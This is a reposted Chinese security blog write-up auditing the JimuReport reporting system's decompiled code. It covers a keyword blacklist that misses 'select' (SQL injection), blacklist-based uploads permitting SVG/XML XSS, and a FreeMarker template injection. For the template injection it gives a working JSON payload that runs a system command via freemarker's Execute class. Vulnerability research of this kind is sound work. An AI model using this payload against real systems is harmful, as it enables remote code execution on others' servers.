昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

admin 2024年7月26日22:33:01评论18 views字数 2035阅读6分47秒阅读模式

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

梦到我打开了电脑,然后对网站进行渗透,发现使用了报表系统,于是乎,开始审计

积木报表系统,项目结构,如下,看上去很简单,实际上一点也不难    

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

核心代码在jar里面

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

怎么全局搜索呢?

反编译

反编译,然后导入source    

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

SQL注入

关键字搜索

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

跟进i.a(var2)    

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

发现存在关键字拦截

String[] var1 = " exec |peformance_schema|information_schema|extractvalue|updatexml|geohash|gtid_subset|gtid_subtract|insert |alter |delete | grant |update |drop | chr | mid | master |truncate | char | declare |user()|".split("\|");

发现select不在里面,于是便可进行查询,有点像刷流氓的漏洞

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

模板注入

从日志中,发现了信息    

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

存在模版解析

我们接着跟进,var2 又在628行被带入执行

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

跟进parseReportSql

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

parseReportSql 会传递四个参数,var7 为token 赋值给var8, 这是默认自带的,故忽略    

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

他会判断paramArray是否为空,if里面是传递三个参数,sql 和paramArray 是可控的

else里同样也是三个参数,但可控的参数只有一个sql,但其实f.a方法里的代码是一模一样的

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

var0 为sql参数,var1 为token,var2 跟进传递的参数为null还是string,看前面的if判断

然后进入i.a(var0) 是前面的sql关键字过滤

跟踪b(var0,var1),发现这里面就做了一些遍历和关键字替换    

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

a(var2, var0)

public static String a(JSONArray var0, String var1) {                  HashMap var2 = new HashMap(5);                  String var3 = "\$\{(\S+)\}";                  Pattern var4 = Pattern.compile(var3);                  Matcher var5 = var4.matcher(var1);                  while(var5.find()) {                      String var6 = var5.group().replace("${", "").replace("}", "");                      var2.put(var6, var5.group());                  }                  if (null != var0 && var0.size() > 0) {                      for(int var11 = 0; var11 < var0.size(); ++var11) {                          JSONObject var7 = var0.getJSONObject(var11);                          Object var8 = var7.get("paramName");                          Object var9 = var7.get("paramValue");                          String var10;                          if (g.d(var8) && g.d(var9)) {                              var10 = ExpressUtil.a(String.valueOf(var9), (Map)null);                              var1 = var1.replace("${" + var8 + "}", var10);                              var1 = var1.replace("'${" + var8 + "}'", var10);                          }                          if (g.d(var8)) {                              if (g.d(var9)) {                                  var10 = ExpressUtil.a(String.valueOf(var9), (Map)null);                                  var2.put(String.valueOf(var8), var10);                              } else {                                  var2.put(String.valueOf(var8), "");                              }                          }                      }                  }                  var1 = FreeMarkerUtils.a(var1, var2);                  return var1;              }

这段代码主要用于从给定的 JSONArray 中提取信息,并根据这些信息对指定字符串进行复杂的替换和处理操作,对var1的操作就replace一下

然后到了目标注入的触发函数

var1 = FreeMarkerUtils.a(var1, var2)

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

Template 函数就是漏洞根源

{"sql":"select 'result:<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")}'","dbSource":"","type":"0"}

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

如果深入想学习模板注入,可以跳转下面文章

Java审计之Freemarker模板注入漏洞

Java安全之Thymeleaf模板注入漏洞

Java安全之Velocity模板注入漏洞

利用GPT进行代码审计-Beelt模板注入

文件上传-xss

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

org.jeecg.modules.jmreport.desreport.util.b.a(var5)

使用黑名单校验,但pdf,xml,svg可上传

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

路径也给了,访问还是404 

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

原文始发于微信公众号(白帽子社区团队):昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月26日22:33:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   昨晚正在做美滋滋的梦,突然画风一转,我竟然在代码审计https://cn-sec.com/archives/2998874.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息